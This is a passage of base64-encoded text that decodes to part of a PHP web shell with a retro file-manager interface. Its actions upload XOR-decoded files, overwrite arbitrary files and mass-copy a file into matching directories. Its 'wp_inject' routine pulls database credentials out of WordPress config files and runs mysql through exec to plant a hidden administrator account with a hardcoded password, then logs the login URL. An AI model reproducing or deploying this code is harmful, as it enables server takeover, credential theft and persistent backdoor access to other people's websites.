pc3RzIG9yIGZhaWxlZC4nXTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBicmVhazsKCiAgICAgICAgICAgIGNhc2UgJ3VwbG9hZCc6CiAgICAgICAgICAgICAgICAkZmlsZU5hbWUgPSAnJzsKICAgICAgICAgICAgICAgICRmaWxlQ29udGVudCA9IG51bGw7CiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydwYXRyYV9oZXgnXSkgJiYgaXNzZXQoJF9QT1NUWydwYXRyYV9uYW1lJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgJGI2NCA9IHhvckRlY3J5cHQoJF9QT1NUWydwYXRyYV9oZXgnXSwgJFhPUl9LRVkpOwogICAgICAgICAgICAgICAgICAgICRmaWxlQ29udGVudCA9IGJhc2U2NF9kZWNvZGUoJGI2NCk7CiAgICAgICAgICAgICAgICAgICAgJGZpbGVOYW1lID0gYmFzZW5hbWUoJF9QT1NUWydwYXRyYV9uYW1lJ10pOwogICAgICAgICAgICAgICAgfSBlbHNlaWYgKGlzc2V0KCRfRklMRVNbJ3BhdHJhJ10pICYmICRfRklMRVNbJ3BhdHJhJ11bJ2Vycm9yJ10gPT09IFVQTE9BRF9FUlJfT0spIHsKICAgICAgICAgICAgICAgICAgICAkZmlsZUNvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygkX0ZJTEVTWydwYXRyYSddWyd0bXBfbmFtZSddKTsKICAgICAgICAgICAgICAgICAgICAkZmlsZU5hbWUgPSBiYXNlbmFtZSgkX0ZJTEVTWydwYXRyYSddWyduYW1lJ10pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCRmaWxlQ29udGVudCAhPT0gbnVsbCAmJiAkZmlsZU5hbWUpIHsKICAgICAgICAgICAgICAgICAgICAkZGVzdCA9ICRjdXJyZW50RGlyIC4gJy8nIC4gJGZpbGVOYW1lOwogICAgICAgICAgICAgICAgICAgIGlmIChAZmlsZV9wdXRfY29udGVudHMoJGRlc3QsICRmaWxlQ29udGVudCkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IFsnc3RhdHVzJyA9PiAnaW5mbycsICdtZXNzYWdlJyA9PiAnRmlsZSB1cGxvYWRlZCBzdWNjZXNzZnVsbHkuJ107CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gWydzdGF0dXMnID0+ICdlcnJvcicsICdtZXNzYWdlJyA9PiAnVXBsb2FkIGZhaWxlZC4gQ2hlY2sgcGVybWlzc2lvbnMuJ107CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSBlbHNlIHsgJHJlc3BvbnNlID0gWydzdGF0dXMnID0+ICdlcnJvcicsICdtZXNzYWdlJyA9PiAnTm8gZmlsZSByZWNlaXZlZC4nXTsgfQogICAgICAgICAgICAgICAgYnJlYWs7CgogICAgICAgICAgICBjYXNlICdzYXZlJzoKICAgICAgICAgICAgICAgICR0YXJnZXQgPSAkX1BPU1RbJ2xha3NoeWEnXTsKICAgICAgICAgICAgICAgICRjb250ZW50ID0gJF9QT1NUWyd2aXNoYXknXTsKICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkdGFyZ2V0KSAmJiBpc193cml0YWJsZSgkdGFyZ2V0KSkgewogICAgICAgICAgICAgICAgICAgIGlmIChAZmlsZV9wdXRfY29udGVudHMoJHRhcmdldCwgJGNvbnRlbnQpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBbJ3N0YXR1cycgPT4gJ2luZm8nLCAnbWVzc2FnZScgPT4gJ0ZpbGUgc2F2ZWQgc3VjY2Vzc2Z1bGx5LiddOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IFsnc3RhdHVzJyA9PiAnZXJyb3InLCAnbWVzc2FnZScgPT4gJ1NhdmUgZmFpbGVkLiddOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZSB7ICRyZXNwb25zZSA9IFsnc3RhdHVzJyA9PiAnZXJyb3InLCAnbWVzc2FnZScgPT4gJ0ZpbGUgbm90IHdyaXRhYmxlLiddOyB9CiAgICAgICAgICAgICAgICBicmVhazsKCiAgICAgICAgICAgIGNhc2UgJ21hc3NfY29weSc6CiAgICAgICAgICAgICAgICAkZmlsZVBhdGggPSB0cmltKCRfUE9TVFsnc3JvdCddKTsKICAgICAgICAgICAgICAgICRkZXN0UGF0aCA9IHRyaW0oJF9QT1NUWyduYWdhciddKTsKICAgICAgICAgICAgICAgICRsb2dEYXRhID0gIlNvdXJjZTogJGZpbGVQYXRoXG5EZXN0OiAgICRkZXN0UGF0aFxuLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuIjsKICAgICAgICAgICAgICAgICRzcmNEaXIgPSBub3JtYWxpemUoZGlybmFtZSgkZmlsZVBhdGgpKTsKICAgICAgICAgICAgICAgICRzcmNGaWxlID0gYmFzZW5hbWUoJGZpbGVQYXRoKTsKICAgICAgICAgICAgICAgIGlmICghJGZpbGVQYXRoIHx8ICEkZGVzdFBhdGgpIHsKICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBbJ3N0YXR1cycgPT4gJ2Vycm9yJywgJ21lc3NhZ2UnID0+ICdQYXJhbXMgbWlzc2luZycsICdsb2cnID0+ICRsb2dEYXRhIC4gIkVycm9yOiBTb3VyY2UgYW5kIERlc3RpbmF0aW9uIGFyZSByZXF1aXJlZC4iXTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoJGZpbGVQYXRoKSB8fCAhaXNfZmlsZSgkZmlsZVBhdGgpKSB7CiAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gWydzdGF0dXMnID0+ICdlcnJvcicsICdtZXNzYWdlJyA9PiAnU291cmNlIG1pc3NpbmcnLCAnbG9nJyA9PiAkbG9nRGF0YSAuICJFcnJvcjogU291cmNlIGZpbGUgZG9lcyBub3QgZXhpc3QuIl07CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkZGlycyA9IGdsb2IoJGRlc3RQYXRoLCBHTE9CX09OTFlESVIpOwogICAgICAgICAgICAgICAgJGNvcGllZCA9IDA7ICRza2lwcGVkID0gMDsgJGZhaWxlZCA9IDA7CiAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJGRpcnMpKSB7ICRsb2dEYXRhIC49ICJObyBkaXJlY3RvcmllcyBmb3VuZCBtYXRjaGluZyBwYXR0ZXJuLlxuIjsgfQogICAgICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGRpcnMgYXMgJGQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGQgPSBub3JtYWxpemUoJGQpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGQgPT09ICRzcmNEaXIpIHsgJGxvZ0RhdGEgLj0gIlNraXBwZWQ6ICRkXG4iOyAkc2tpcHBlZCsrOyB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRlc3RGaWxlID0gJGQgLiAnLycgLiAkc3JjRmlsZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChAY29weSgkZmlsZVBhdGgsICRkZXN0RmlsZSkpIHsgJGxvZ0RhdGEgLj0gIkNvcGllZCB0bzogJGRlc3RGaWxlXG4iOyAkY29waWVkKys7IH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgeyAkbG9nRGF0YSAuPSAiRmFpbGVkOiAgJGRlc3RGaWxlXG4iOyAkZmFpbGVkKys7IH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRsb2dEYXRhIC49ICItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXG5Ub3RhbDogIiAuIGNvdW50KCRkaXJzKSAuICIgfCAkY29waWVkIGNvcGllZCB8ICRza2lwcGVkIHNraXBwZWQgfCAkZmFpbGVkIGZhaWxlZCI7CiAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBbJ3N0YXR1cycgPT4gJ2luZm8nLCAnbWVzc2FnZScgPT4gJ0NvcHkgb3BlcmF0aW9uIGZpbmlzaGVkJywgJ2xvZycgPT4gJGxvZ0RhdGFdOwogICAgICAgICAgICAgICAgYnJlYWs7CgogICAgICAgICAgICBjYXNlICd3cF9pbmplY3QnOgogICAgICAgICAgICAgICAgJGNvbmZpZ1BhdGggPSB0cmltKCRfUE9TVFsnd3BfY29uZmlnJ10pOwogICAgICAgICAgICAgICAgJGxvZ0RhdGEgPSAiVGFyZ2V0OiAkY29uZmlnUGF0aFxuLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuIjsKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgaWYgKCEkY29uZmlnUGF0aCkgewogICAgICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IFsnc3RhdHVzJyA9PiAnZXJyb3InLCAnbWVzc2FnZScgPT4gJ1BhdGggZW1wdHknLCAnbG9nJyA9PiAkbG9nRGF0YSAuICJFcnJvcjogTm8gcGF0aCBwcm92aWRlZC4iXTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAkaXNHbG9iID0gKHN0cnBvcygkY29uZmlnUGF0aCwgJyonKSAhPT0gZmFsc2UgfHwgc3RycG9zKCRjb25maWdQYXRoLCAnPycpICE9PSBmYWxzZSk7CiAgICAgICAgICAgICAgICAkZmlsZXMgPSBbXTsKCiAgICAgICAgICAgICAgICBpZiAoJGlzR2xvYikgewogICAgICAgICAgICAgICAgICAgICRmaWxlcyA9IGdsb2IoJGNvbmZpZ1BhdGgsIEdMT0JfQlJBQ0UpOwogICAgICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkZmlsZXMpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRsb2dEYXRhIC49ICJObyBmaWxlcyBmb3VuZCBtYXRjaGluZyBwYXR0ZXJuLlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gWydzdGF0dXMnID0+ICdlcnJvcicsICdtZXNzYWdlJyA9PiAnTm8gbWF0Y2hlcycsICdsb2cnID0+ICRsb2dEYXRhXTsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRsb2dEYXRhIC49ICJGb3VuZCAiIC4gY291bnQoJGZpbGVzKSAuICIgY29uZmlnKHMpIG1hdGNoaW5nIHBhdHRlcm4uXG5cbiI7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoJGNvbmZpZ1BhdGgpIHx8ICFpc19yZWFkYWJsZSgkY29uZmlnUGF0aCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gWydzdGF0dXMnID0+ICdlcnJvcicsICdtZXNzYWdlJyA9PiAnQ29uZmlnIG5vdCBmb3VuZCcsICdsb2cnID0+ICRsb2dEYXRhIC4gIkVycm9yOiBJbnZhbGlkIHBhdGggb3IgdW5yZWFkYWJsZSBmaWxlLiJdOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgJGZpbGVzID0gWyRjb25maWdQYXRoXTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAkc3VjY2Vzc0NvdW50ID0gMDsKICAgICAgICAgICAgICAgICRmYWlsQ291bnQgPSAwOwogICAgICAgICAgICAgICAgJG5ld1VzZXIgPSAnd29uZ3BhJzsgJG5ld1Bhc3MgPSAnd29uZ3BhWloxMzMxISc7ICRuZXdFbWFpbCA9ICdhZG1pbkB3b25ncGEuY29tJzsKICAgICAgICAgICAgICAgICRwYXNzSGFzaCA9IG1kNSgkbmV3UGFzcyk7CiAgICAgICAgICAgICAgICAkY2FwYWJpbGl0aWVzID0gJ2E6MTp7czoxMzoiYWRtaW5pc3RyYXRvciI7YjoxO30nOwoKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgewogICAgICAgICAgICAgICAgICAgICRsb2dEYXRhIC49ICI9PiBQcm9jZXNzaW5nOiAkZmlsZVxuIjsKICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCEkY29udGVudCkgewogICAgICAgICAgICAgICAgICAgICAgICAkbG9nRGF0YSAuPSAiICAgRmFpbGVkIHRvIHJlYWQgZmlsZS4gU2tpcHBpbmcuXG5cbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICRmYWlsQ291bnQrKzsKICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICBwcmVnX21hdGNoKCIvZGVmaW5lXHMqXChccypbJ1wiXURCX05BTUVbJ1wiXVxzKixccypbJ1wiXSguKj8pWydcIl1ccypcKS9pIiwgJGNvbnRlbnQsICRtRGIpOwogICAgICAgICAgICAgICAgICAgIHByZWdfbWF0Y2goIi9kZWZpbmVccypcKFxzKlsnXCJdREJfVVNFUlsnXCJdXHMqLFxzKlsnXCJdKC4qPylbJ1wiXVxzKlwpL2kiLCAkY29udGVudCwgJG1Vc2VyKTsKICAgICAgICAgICAgICAgICAgICBwcmVnX21hdGNoKCIvZGVmaW5lXHMqXChccypbJ1wiXURCX1BBU1NXT1JEWydcIl1ccyosXHMqWydcIl0oLio/KVsnXCJdXHMqXCkvaSIsICRjb250ZW50LCAkbVBhc3MpOwogICAgICAgICAgICAgICAgICAgIHByZWdfbWF0Y2goIi9kZWZpbmVccypcKFxzKlsnXCJdREJfSE9TVFsnXCJdXHMqLFxzKlsnXCJdKC4qPylbJ1wiXVxzKlwpL2kiLCAkY29udGVudCwgJG1Ib3N0KTsKICAgICAgICAgICAgICAgICAgICBwcmVnX21hdGNoKCIvXFxcJHRhYmxlX3ByZWZpeFxzKj1ccypbJ1wiXSguKj8pWydcIl0vaSIsICRjb250ZW50LCAkbVByZWZpeCk7CgogICAgICAgICAgICAgICAgICAgICRkYk5hbWUgPSAkbURiWzFdID8/ICcnOyAkZGJVc2VyID0gJG1Vc2VyWzFdID8/ICcnOyAkZGJQYXNzID0gJG1QYXNzWzFdID8/ICcnOyAkZGJIb3N0ID0gJG1Ib3N0WzFdID8/ICdsb2NhbGhvc3QnOyAkcHJlZml4ID0gJG1QcmVmaXhbMV0gPz8gJ3dwXyc7CgogICAgICAgICAgICAgICAgICAgIGlmICghJGRiTmFtZSB8fCAhJGRiVXNlcikgewogICAgICAgICAgICAgICAgICAgICAgICAkbG9nRGF0YSAuPSAiICAgRmFpbGVkIHRvIGV4dHJhY3QgREIgY3JlZGVudGlhbHMuIFNraXBwaW5nLlxuXG4iOwogICAgICAgICAgICAgICAgICAgICAgICAkZmFpbENvdW50Kys7CiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgJGxvZ0RhdGEgLj0gIiAgIERCOiAkZGJOYW1lIHwgVXNlcjogJGRiVXNlciB8IFByZWZpeDogJHByZWZpeFxuIjsKCiAgICAgICAgICAgICAgICAgICAgJHNxbDEgPSAiSU5TRVJUIElOVE8gYHskcHJlZml4fXVzZXJzYCAoYHVzZXJfbG9naW5gLCBgdXNlcl9wYXNzYCwgYHVzZXJfbmljZW5hbWVgLCBgdXNlcl9lbWFpbGAsIGB1c2VyX3N0YXR1c2AsIGB1c2VyX3JlZ2lzdGVyZWRgKSBWQUxVRVMgKCckbmV3VXNlcicsICckcGFzc0hhc2gnLCAnJG5ld1VzZXInLCAnJG5ld0VtYWlsJywgMCwgTk9XKCkpOyI7CiAgICAgICAgICAgICAgICAgICAgJHNxbDIgPSAiSU5TRVJUIElOVE8gYHskcHJlZml4fXVzZXJtZXRhYCAoYHVzZXJfaWRgLCBgbWV0YV9rZXlgLCBgbWV0YV92YWx1ZWApIFZBTFVFUyAoTEFTVF9JTlNFUlRfSUQoKSwgJ3skcHJlZml4fWNhcGFiaWxpdGllcycsICckY2FwYWJpbGl0aWVzJyk7IjsKICAgICAgICAgICAgICAgICAgICAkc3FsMyA9ICJJTlNFUlQgSU5UTyBgeyRwcmVmaXh9dXNlcm1ldGFgIChgdXNlcl9pZGAsIGBtZXRhX2tleWAsIGBtZXRhX3ZhbHVlYCkgVkFMVUVTIChMQVNUX0lOU0VSVF9JRCgpLCAneyRwcmVmaXh9dXNlcl9sZXZlbCcsIDEwKTsiOwogICAgICAgICAgICAgICAgICAgICRmdWxsU3FsID0gJHNxbDEgLiAkc3FsMiAuICRzcWwzOwoKICAgICAgICAgICAgICAgICAgICAkY21kID0gIm15c3FsIC0taG9zdD0iIC4gZXNjYXBlc2hlbGxhcmcoJGRiSG9zdCkgLiAiIC0tdXNlcj0iIC4gZXNjYXBlc2hlbGxhcmcoJGRiVXNlcikgLiAiIC0tcGFzc3dvcmQ9IiAuIGVzY2FwZXNoZWxsYXJnKCRkYlBhc3MpIC4gIiAiIC4gZXNjYXBlc2hlbGxhcmcoJGRiTmFtZSkgLiAiIC1lICIgLiBlc2NhcGVzaGVsbGFyZygkZnVsbFNxbCkgLiAiIDI+JjEiOwoKICAgICAgICAgICAgICAgICAgICBleGVjKCRjbWQsICRvdXRwdXQsICRyZXRWYXIpOwogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIGlmICgkcmV0VmFyID09PSAwKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRsb2dEYXRhIC49ICIgICBTdWNjZXNzISBBZG1pbiBpbmplY3RlZC4gUmV0cmlldmluZyBzaXRldXJsLi4uXG4iOwogICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgLy8gRmV0Y2ggU2l0ZSBVUkwKICAgICAgICAgICAgICAgICAgICAgICAgJHNxbFVybCA9ICJTRUxFQ1Qgb3B0aW9uX3ZhbHVlIEZST00gYHskcHJlZml4fW9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSdzaXRldXJsJyBMSU1JVCAxOyI7CiAgICAgICAgICAgICAgICAgICAgICAgICRjbWRVcmwgPSAibXlzcWwgLXMgLS1ob3N0PSIgLiBlc2NhcGVzaGVsbGFyZygkZGJIb3N0KSAuICIgLS11c2VyPSIgLiBlc2NhcGVzaGVsbGFyZygkZGJVc2VyKSAuICIgLS1wYXNzd29yZD0iIC4gZXNjYXBlc2hlbGxhcmcoJGRiUGFzcykgLiAiICIgLiBlc2NhcGVzaGVsbGFyZygkZGJOYW1lKSAuICIgLWUgIiAuIGVzY2FwZXNoZWxsYXJnKCRzcWxVcmwpIC4gIiAyPiYxIjsKICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICRvdXRwdXRVcmwgPSBbXTsKICAgICAgICAgICAgICAgICAgICAgICAgZXhlYygkY21kVXJsLCAkb3V0cHV0VXJsLCAkcmV0VmFyVXJsKTsKICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICRzaXRlVXJsID0gJyc7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkcmV0VmFyVXJsID09PSAwICYmICFlbXB0eSgkb3V0cHV0VXJsKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNpdGVVcmwgPSB0cmltKCRvdXRwdXRVcmxbMF0pOyAvLyAtcyBmbGFnIHJlbW92ZXMgaGVhZGVycwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZmlsdGVyX3Zhcigkc2l0ZVVybCwgRklMVEVSX1ZBTElEQVRFX1VSTCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsb2dpblVybCA9IHJ0cmltKCRzaXRlVXJsLCAnLycpIC4gJy93cC1sb2dpbi5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxvZ0RhdGEgLj0gIiAgID0+ICRsb2dpblVybCMkbmV3VXNlckAkbmV3UGFzc1xuXG4iOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxvZ0RhdGEgLj0gIiAgIChDb3VsZCBub3QgZmV0Y2ggc2l0ZSBVUkwsIGJ1dCB1c2VyIHdhcyBhZGRlZClcblxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgJHN1Y2Nlc3NDb3VudCsrOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRsb2dEYXRhIC49ICIgICBGYWlsZWQ6ICIgLiBpbXBsb2RlKCJcbiAgICIsICRvdXRwdXQpIC4gIlxuXG4iOwogICAgICAgICAgICAgICAgICAgICAgICAkZmFpbENvdW50Kys7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICRsb2dEYXRhIC49ICItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXG5Ub3RhbDogIiAuIGNvdW50KCRmaWxlcykgLiAiIGZvdW5kIHwgJHN1Y2Nlc3NDb3VudCBzdWNjZXNzIHwgJGZhaWxDb3VudCBmYWlsZWQiOwogICAgICAgICAgICAgICAgJGZpbmFsU3RhdHVzID0gKCRzdWNjZXNzQ291bnQgPiAwKSA/ICdpbmZvJyA6ICdlcnJvcic7CiAgICAgICAgICAgICAgICAkZmluYWxNZXNzYWdlID0gKCRzdWNjZXNzQ291bnQgPiAwKSA/ICJJbmplY3Rpb24gZmluaXNoZWQuICRzdWNjZXNzQ291bnQgc3VjY2VlZGVkLiIgOiAiSW5qZWN0aW9uIGZhaWxlZCBmb3IgYWxsIHRhcmdldHMuIjsKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gWydzdGF0dXMnID0+ICRmaW5hbFN0YXR1cywgJ21lc3NhZ2UnID0+ICRmaW5hbE1lc3NhZ2UsICdsb2cnID0+ICRsb2dEYXRhXTsKICAgICAgICAgICAgICAgIGJyZWFrOwoKICAgICAgICAgICAgY2FzZSAnZ2V0X2ZpbGUnOgogICAgICAgICAgICAgICAgJHRhcmdldCA9IG5vcm1hbGl6ZSgkX1BPU1RbJ3NoYWxha2EnXSk7CiAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHRhcmdldCkgJiYgIWlzX2RpcigkdGFyZ2V0KSAmJiBpc19yZWFkYWJsZSgkdGFyZ2V0KSAmJiBpc1RleHRGaWxlKCR0YXJnZXQpKSB7CiAgICAgICAgICAgICAgICAgICAgJGNvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygkdGFyZ2V0KTsKICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBbJ3N0YXR1cycgPT4gJ2luZm8nLCAnbmFtZScgPT4gYmFzZW5hbWUoJHRhcmdldCksICdwYXRoJyA9PiAkdGFyZ2V0LCAnY29udGVudF9iNjQnID0+IGJhc2U2NF9lbmNvZGUoJGNvbnRlbnQpXTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7ICRyZXNwb25zZSA9IFsnc3RhdHVzJyA9PiAnZXJyb3InLCAnbWVzc2FnZScgPT4gJ0Nhbm5vdCByZWFkIGZpbGUuJ107IH0KICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSwgSlNPTl9JTlZBTElEX1VURjhfU1VCU1RJVFVURSk7CiAgICAgICAgZXhpdDsKICAgIH0KCiAgICAvLyBEaXJlY3RvcnkgTGlzdCBBUEkKICAgICRpdGVtcyA9IFtdOwogICAgJGRpckNvdW50ID0gMDsgJGZpbGVDb3VudCA9IDA7ICR0b3RhbFNpemUgPSAwOwogICAgJGVudHJpZXMgPSBAc2NhbmRpcigkY3VycmVudERpcik7CiAgICBpZiAoJGVudHJpZXMpIHsKICAgICAgICBmb3JlYWNoICgkZW50cmllcyBhcyAkZW50cnkpIHsKICAgICAgICAgICAgaWYgKCRlbnRyeSA9PT0gJy4nIHx8ICRlbnRyeSA9PT0gJy4uJykgY29udGludWU7CiAgICAgICAgICAgICRpdGVtUGF0aCA9IG5vcm1hbGl6ZSgkY3VycmVudERpciAuICcvJyAuICRlbnRyeSk7CiAgICAgICAgICAgICRpc0RpciA9IGlzX2RpcigkaXRlbVBhdGgpOwogICAgICAgICAgICAkc2l6ZSA9ICRpc0RpciA/ICctJyA6IChpc19yZWFkYWJsZSgkaXRlbVBhdGgpID8gZm9ybWF0U2l6ZShmaWxlc2l6ZSgkaXRlbVBhdGgpKSA6ICc/Jyk7CiAgICAgICAgICAgICRtb2RUaW1lID0gQGZpbGVtdGltZSgkaXRlbVBhdGgpOwogICAgICAgICAgICAkaXNUZXh0ID0gISRpc0RpciAmJiBpc19yZWFkYWJsZSgkaXRlbVBhdGgpICYmIGlzVGV4dEZpbGUoJGl0ZW1QYXRoKTsKICAgICAgICAgICAgaWYgKCRpc0RpcikgeyAkZGlyQ291bnQrKzsgfSBlbHNlIHsgJGZpbGVDb3VudCsrOyAkdG90YWxTaXplICs9IGlzX3JlYWRhYmxlKCRpdGVtUGF0aCkgPyBmaWxlc2l6ZSgkaXRlbVBhdGgpIDogMDsgfQogICAgICAgICAgICAkaXRlbXNbXSA9IFsnbmFtZScgPT4gJGVudHJ5LCAncGF0aCcgPT4gJGl0ZW1QYXRoLCAnaXNEaXInID0+ICRpc0RpciwgJ3NpemUnID0+ICRzaXplLCAnbW9kVGltZScgPT4gJG1vZFRpbWUgPyBkYXRlKCdtL2QvWSBIOmknLCAkbW9kVGltZSkgOiAnLScsICdpY29uJyA9PiBnZXRGaWxlSWNvbigkaXRlbVBhdGgsICRpc0RpciksICdpc1RleHQnID0+ICRpc1RleHRdOwogICAgICAgIH0KICAgICAgICB1c29ydCgkaXRlbXMsIGZ1bmN0aW9uICgkYSwgJGIpIHsKICAgICAgICAgICAgaWYgKCRhWydpc0RpciddICYmICEkYlsnaXNEaXInXSkgcmV0dXJuIC0xOwogICAgICAgICAgICBpZiAoISRhWydpc0RpciddICYmICRiWydpc0RpciddKSByZXR1cm4gMTsKICAgICAgICAgICAgcmV0dXJuIHN0cm5hdGNhc2VjbXAoJGFbJ25hbWUnXSwgJGJbJ25hbWUnXSk7CiAgICAgICAgfSk7CiAgICB9CgogICAgZWNobyBqc29uX2VuY29kZShbCiAgICAgICAgJ2JyZWFkY3J1bWJzJyA9PiBidWlsZEJyZWFkY3J1bWJzKCRjdXJyZW50RGlyKSwKICAgICAgICAnY3VycmVudERpcicgPT4gJGN1cnJlbnREaXIsCiAgICAgICAgJ3BhcmVudERpcicgPT4gJHBhcmVudERpciwKICAgICAgICAnaXRlbXMnID0+ICRpdGVtcywKICAgICAgICAnZGlyQ291bnQnID0+ICRkaXJDb3VudCwgJ2ZpbGVDb3VudCcgPT4gJGZpbGVDb3VudCwgJ3RvdGFsU2l6ZScgPT4gZm9ybWF0U2l6ZSgkdG90YWxTaXplKQogICAgXSwgSlNPTl9JTlZBTElEX1VURjhfU1VCU1RJVFVURSk7CiAgICBleGl0Owp9CgovLyA9PT0gSU5JVElBTCBIVE1MIFJFTkRFUiA9PT0KICRzZWxmID0gYmFzZW5hbWUoJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10pOwogJGluaXREaXIgPSBub3JtYWxpemUoJFNUQVJUX0RJUik7Cj8+CjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJlbiI+CjxoZWFkPgo8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CjxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4KPHRpdGxlPlc5ODwvdGl0bGU+CjxzdHlsZT4KOnJvb3QgeyAtLWJnOiAjYzBjMGMwOyAtLWhpOiAjZmZmZmZmOyAtLXNoOiAjODA4MDgwOyAtLWRzOiAjMDAwMDAwOyAtLXRpdGxlOiAjMDAwMDgwOyAtLXNlbDogIzAwMDA4MDsgLS1zZWx0OiAjZmZmZmZmOyAtLWZvbnQ6ICdNUyBTYW5zIFNlcmlmJywnTWljcm9zb2Z0IFNhbnMgU2VyaWYnLFRhaG9tYSxHZW5ldmEsc2Fucy1zZXJpZjsgLS1mczogMTFweDsgfQoqe21hcmdpbjowO3BhZGRpbmc6MDtib3gtc2l6aW5nOmJvcmR